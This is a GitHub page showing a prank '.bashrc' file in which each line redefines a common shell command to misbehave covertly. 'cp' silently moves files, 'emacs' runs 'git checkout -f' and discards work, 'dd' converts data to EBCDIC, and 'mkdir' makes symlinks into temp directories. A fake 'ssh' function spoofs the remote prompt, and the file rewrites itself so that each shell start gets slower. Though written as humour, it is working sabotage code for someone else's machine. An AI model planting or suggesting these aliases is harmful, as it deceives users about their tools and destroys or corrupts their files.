-
Notifications
You must be signed in to change notification settings - Fork 20
/
.bashrc
80 lines (55 loc) · 2.25 KB
/
.bashrc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# Respect your parents.
export PATH="..:$PATH"
# No one ever looks at the source file to verify that a copy succeeded.
alias cp=mv
# Nobody will miss one byte, right?
alias curl="curl -C1"
# Did you even know ls had this option?
alias ls="ls --block-size=3"
# This flag is a no-op. Most of the time.
alias cd="cd -P"
# What better time to run a command then when you're trying to kill existing copies of it?
alias killall=
# Make grep ignore input files whose names are a random length between 1 and 10.
alias grep="grep --exclude \$(echo ?????????? | cut -c-\$((\$RANDOM%10+1)))"
# Listing branches in Git will output them in random order.
alias git="git -c pager.branch=shuf"
# Make touch just a little bit pushier.
alias touch="echo >>"
# Cats are fickle creatures.
alias cat="nc -w1 localhost 54321 | nc -l localhost 54321 2>/dev/null | cat"
# Serves you right for wanting to use emacs.
alias emacs="git checkout -f"
# Vim has everything in order.
alias vim="vim -c sort"
# History class is boring.
alias find="find -newer ~/.bashrc"
# There's a big difference between mostly the same and all the same.
# Mostly the same is slightly different. With all the same, well,
# with all the same there's only really one thing you can do.
alias uniq="uniq -s1"
# Command lines are so dehumanizing, don't you think?
alias sort="sort -h"
# Every story has an ending.
alias mkdir="ln -s $(mktemp -d)"
# Sometimes alternate perspectives will improve your understanding of a problem.
alias man="man -Ptac"
# Restore Ctrl-C to its proper functionality.
alias less="less -K"
# bzip is more efficient, so always use it instead of gzip
alias gzip="gzip -S .bz2"
# Stop shouting everyone! Let's all calm down and handle this like adults.
alias tar="tar --transform 's/.*/\L&/'"
# ASCII is a fad
alias dd="dd conv=ebcdic "
# md5sum is considered weak, use sha256sum instead
md5sum() { sha256sum "$*" | cut -c 33-; }
# seriously, stop shouting
stty iuclc
# Nothing is complete until it's gone.
bind TAB:shell-backward-kill-word
# This is your machine. There are many like it, but only this one is yours.
ssh() { export PS1=$1':\w\$ '; cd; }
# Even your machine deserves a good night's rest
sleep 0.01
command -v bc >/dev/null && sed -ri 's/^sleep (.*)$/echo sleep $(bc<<<"\1+0.01")/gme' ~/.bashrc